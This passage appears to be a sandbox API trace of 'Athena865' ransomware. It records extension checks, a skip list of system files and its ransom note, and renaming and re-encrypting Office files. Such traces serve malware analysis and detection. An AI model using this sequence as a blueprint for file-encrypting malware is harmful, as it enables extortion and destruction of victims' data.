(lpString1="ACC", lpString2="abx") returned 1 [0139.457] lstrlenW (lpString="accdb") returned 5 [0139.457] lstrcmpiW (lpString1="2.ACC", lpString2="accdb") returned -1 [0139.457] lstrlenW (lpString="accdc") returned 5 [0139.457] lstrcmpiW (lpString1="2.ACC", lpString2="accdc") returned -1 [0139.457] lstrlenW (lpString="accde") returned 5 [0139.457] lstrcmpiW (lpString1="2.ACC", lpString2="accde") returned -1 [0139.457] lstrlenW (lpString="accdr") returned 5 [0139.457] lstrcmpiW (lpString1="2.ACC", lpString2="accdr") returned -1 [0139.457] lstrlenW (lpString="accdt") returned 5 [0139.457] lstrcmpiW (lpString1="2.ACC", lpString2="accdt") returned -1 [0139.457] lstrlenW (lpString="accdw") returned 5 [0139.457] lstrcmpiW (lpString1="2.ACC", lpString2="accdw") returned -1 [0139.457] lstrlenW (lpString="accft") returned 5 [0139.457] lstrcmpiW (lpString1="2.ACC", lpString2="accft") returned -1 [0139.457] lstrlenW (lpString="adb") returned 3 [0139.457] lstrcmpiW (lpString1="ACC", lpString2="adb") returned -1 [0139.457] lstrlenW (lpString="adb") returned 3 [0139.457] lstrcmpiW (lpString1="ACC", lpString2="adb") returned -1 [0139.457] lstrlenW (lpString="ade") returned 3 [0139.457] lstrcmpiW (lpString1="ACC", lpString2="ade") returned -1 [0139.457] lstrlenW (lpString="adf") returned 3 [0139.457] lstrcmpiW (lpString1="ACC", lpString2="adf") returned -1 [0139.457] lstrlenW (lpString="adn") returned 3 [0139.457] lstrcmpiW (lpString1="ACC", lpString2="adn") returned -1 [0139.457] lstrlenW (lpString="adp") returned 3 [0139.457] lstrcmpiW (lpString1="ACC", lpString2="adp") returned -1 [0139.457] lstrlenW (lpString="alf") returned 3 [0139.458] lstrcmpiW (lpString1="ACC", lpString2="alf") returned -1 [0139.458] lstrlenW (lpString="ask") returned 3 [0139.458] lstrcmpiW (lpString1="ACC", lpString2="ask") returned -1 [0139.458] lstrlenW (lpString="btr") returned 3 [0139.458] lstrcmpiW (lpString1="ACC", lpString2="btr") returned -1 [0139.458] lstrlenW (lpString="cat") returned 3 [0139.458] lstrcmpiW (lpString1="ACC", lpString2="cat") returned -1 [0139.458] lstrlenW (lpString="cdb") returned 3 [0139.458] lstrcmpiW (lpString1="ACC", lpString2="cdb") returned -1 [0139.458] lstrlenW (lpString="ckp") returned 3 [0139.458] lstrcmpiW (lpString1="ACC", lpString2="ckp") returned -1 [0139.458] lstrlenW (lpString="cma") returned 3 [0139.458] lstrcmpiW (lpString1="ACC", lpString2="cma") returned -1 [0139.458] lstrlenW (lpString="cpd") returned 3 [0139.458] lstrcmpiW (lpString1="ACC", lpString2="cpd") returned -1 [0139.458] lstrlenW (lpString="dacpac") returned 6 [0139.458] lstrcmpiW (lpString1="12.ACC", lpString2="dacpac") returned -1 [0139.458] lstrlenW (lpString="dad") returned 3 [0139.458] lstrcmpiW (lpString1="ACC", lpString2="dad") returned -1 [0139.458] lstrlenW (lpString="dadiagrams") returned 10 [0139.458] lstrcmpiW (lpString1="CESS12.ACC", lpString2="dadiagrams") returned -1 [0139.458] lstrlenW (lpString="daschema") returned 8 [0139.458] lstrcmpiW (lpString1="SS12.ACC", lpString2="daschema") returned 1 [0139.458] lstrlenW (lpString="db-journal") returned 10 [0139.458] lstrcmpiW (lpString1="CESS12.ACC", lpString2="db-journal") returned -1 [0139.458] lstrlenW (lpString="db-shm") returned 6 [0139.458] lstrcmpiW (lpString1="12.ACC", lpString2="db-shm") returned -1 [0139.458] lstrlenW (lpString="db-wal") returned 6 [0139.458] lstrcmpiW (lpString1="12.ACC", lpString2="db-wal") returned -1 [0139.458] lstrlenW (lpString="dbc") returned 3 [0139.458] lstrcmpiW (lpString1="ACC", lpString2="dbc") returned -1 [0139.459] lstrlenW (lpString="dbs") returned 3 [0139.459] lstrcmpiW (lpString1="ACC", lpString2="dbs") returned -1 [0139.459] lstrlenW (lpString="dbt") returned 3 [0139.459] lstrcmpiW (lpString1="ACC", lpString2="dbt") returned -1 [0139.459] lstrlenW (lpString="dbv") returned 3 [0139.459] lstrcmpiW (lpString1="ACC", lpString2="dbv") returned -1 [0139.459] lstrlenW (lpString="dbx") returned 3 [0139.459] lstrcmpiW (lpString1="ACC", lpString2="dbx") returned -1 [0139.459] lstrlenW (lpString="dcb") returned 3 [0139.459] lstrcmpiW (lpString1="ACC", lpString2="dcb") returned -1 [0139.459] lstrcmpiW (lpString1="ACC", lpString2="dct") returned -1 [0139.459] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.Athena865") returned 70 [0139.459] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.athena865"), dwFlags=0x1) returned 1 [0139.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.462] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=495616) returned 1 [0139.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.462] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.463] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.463] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.463] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x79300, lpName=0x0) returned 0x154 [0139.464] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x79300) returned 0x2bb0000 [0139.488] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.488] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.488] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.489] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0139.494] CloseHandle (hObject=0x154) returned 1 [0139.494] CloseHandle (hObject=0x17c) returned 1 [0139.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.496] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACCOLKI.DLL", cAlternateFileName="")) returned 1 [0139.496] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.496] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.496] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2=".") returned 1 [0139.496] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2="..") returned 1 [0139.496] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2="windows") returned -1 [0139.496] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2="bootmgr") returned -1 [0139.496] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2="temp") returned -1 [0139.496] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2="pagefile.sys") returned -1 [0139.496] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2="boot") returned -1 [0139.496] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2="ids.txt") returned -1 [0139.496] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2="ntuser.dat") returned -1 [0139.496] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2="perflogs") returned -1 [0139.496] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2="MSBuild") returned -1 [0139.496] lstrlenW (lpString="ACCOLKI.DLL") returned 11 [0139.497] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ACCOLKI.DLL" | out: lpString1="ACCOLKI.DLL") returned="ACCOLKI.DLL" [0139.497] lstrlenW (lpString="ACCOLKI.DLL") returned 11 [0139.497] lstrlenW (lpString="Athena865") returned 9 [0139.497] lstrcmpiW (lpString1="COLKI.DLL", lpString2="Athena865") returned 1 [0139.497] lstrlenW (lpString=".dll") returned 4 [0139.497] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2=".dll") returned 1 [0139.497] lstrlenW (lpString=".lnk") returned 4 [0139.497] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2=".lnk") returned 1 [0139.497] lstrlenW (lpString=".ini") returned 4 [0139.497] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2=".ini") returned 1 [0139.497] lstrlenW (lpString=".sys") returned 4 [0139.497] lstrcmpiW (lpString1="ACCOLKI.DLL", lpString2=".sys") returned 1 [0139.497] lstrlenW (lpString="ACCOLKI.DLL") returned 11 [0139.497] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL.Athena865") returned 69 [0139.497] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll.athena865"), dwFlags=0x1) returned 1 [0139.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.500] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13240) returned 1 [0139.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.500] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.501] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.501] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.501] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x36c0, lpName=0x0) returned 0x154 [0139.503] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x36c0) returned 0x100000 [0139.504] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.504] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.504] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.505] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.505] CloseHandle (hObject=0x154) returned 1 [0139.505] CloseHandle (hObject=0x17c) returned 1 [0139.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.506] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6146600, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6146600, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x26b88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACCVDTUI.DLL", cAlternateFileName="")) returned 1 [0139.506] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.506] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.506] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2=".") returned 1 [0139.506] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2="..") returned 1 [0139.506] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2="windows") returned -1 [0139.506] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2="bootmgr") returned -1 [0139.506] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2="temp") returned -1 [0139.506] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2="pagefile.sys") returned -1 [0139.506] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2="boot") returned -1 [0139.506] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2="ids.txt") returned -1 [0139.506] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2="ntuser.dat") returned -1 [0139.506] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2="perflogs") returned -1 [0139.506] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2="MSBuild") returned -1 [0139.506] lstrlenW (lpString="ACCVDTUI.DLL") returned 12 [0139.506] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ACCVDTUI.DLL" | out: lpString1="ACCVDTUI.DLL") returned="ACCVDTUI.DLL" [0139.506] lstrlenW (lpString="ACCVDTUI.DLL") returned 12 [0139.506] lstrlenW (lpString="Athena865") returned 9 [0139.506] lstrcmpiW (lpString1="VDTUI.DLL", lpString2="Athena865") returned 1 [0139.506] lstrlenW (lpString=".dll") returned 4 [0139.507] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2=".dll") returned 1 [0139.507] lstrlenW (lpString=".lnk") returned 4 [0139.507] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2=".lnk") returned 1 [0139.507] lstrlenW (lpString=".ini") returned 4 [0139.507] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2=".ini") returned 1 [0139.507] lstrlenW (lpString=".sys") returned 4 [0139.507] lstrcmpiW (lpString1="ACCVDTUI.DLL", lpString2=".sys") returned 1 [0139.507] lstrlenW (lpString="ACCVDTUI.DLL") returned 12 [0139.507] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL.Athena865") returned 70 [0139.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll.athena865"), dwFlags=0x1) returned 1 [0139.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.509] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=158600) returned 1 [0139.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.509] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.510] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.510] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.510] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x26e90, lpName=0x0) returned 0x154 [0139.511] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x26e90) returned 0x170000 [0139.517] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.517] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.517] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.518] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0139.520] CloseHandle (hObject=0x154) returned 1 [0139.520] CloseHandle (hObject=0x17c) returned 1 [0139.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.521] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a36c100, ftCreationTime.dwHighDateTime=0x1c6af9a, ftLastAccessTime.dwLowDateTime=0x150ad890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a36c100, ftLastWriteTime.dwHighDateTime=0x1c6af9a, nFileSizeHigh=0x0, nFileSizeLow=0x53de0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACTIP10.HLP", cAlternateFileName="")) returned 1 [0139.521] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.521] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.521] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2=".") returned 1 [0139.521] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2="..") returned 1 [0139.521] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2="windows") returned -1 [0139.521] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2="bootmgr") returned -1 [0139.521] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2="temp") returned -1 [0139.521] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2="pagefile.sys") returned -1 [0139.521] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2="boot") returned -1 [0139.521] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2="ids.txt") returned -1 [0139.521] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2="ntuser.dat") returned -1 [0139.521] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2="perflogs") returned -1 [0139.521] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2="MSBuild") returned -1 [0139.521] lstrlenW (lpString="ACTIP10.HLP") returned 11 [0139.521] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ACTIP10.HLP" | out: lpString1="ACTIP10.HLP") returned="ACTIP10.HLP" [0139.521] lstrlenW (lpString="ACTIP10.HLP") returned 11 [0139.521] lstrlenW (lpString="Athena865") returned 9 [0139.521] lstrcmpiW (lpString1="TIP10.HLP", lpString2="Athena865") returned 1 [0139.521] lstrlenW (lpString=".dll") returned 4 [0139.521] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2=".dll") returned 1 [0139.521] lstrlenW (lpString=".lnk") returned 4 [0139.521] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2=".lnk") returned 1 [0139.521] lstrlenW (lpString=".ini") returned 4 [0139.521] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2=".ini") returned 1 [0139.521] lstrlenW (lpString=".sys") returned 4 [0139.522] lstrcmpiW (lpString1="ACTIP10.HLP", lpString2=".sys") returned 1 [0139.522] lstrlenW (lpString="ACTIP10.HLP") returned 11 [0139.522] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP.Athena865") returned 69 [0139.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp.athena865"), dwFlags=0x1) returned 1 [0139.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.523] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=343520) returned 1 [0139.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.524] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.524] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.524] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.525] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x540e0, lpName=0x0) returned 0x154 [0139.526] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x540e0) returned 0x2bb0000 [0139.536] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.537] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.537] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.537] RtlAllocateHeap (HeapHandle=0x4f0000, 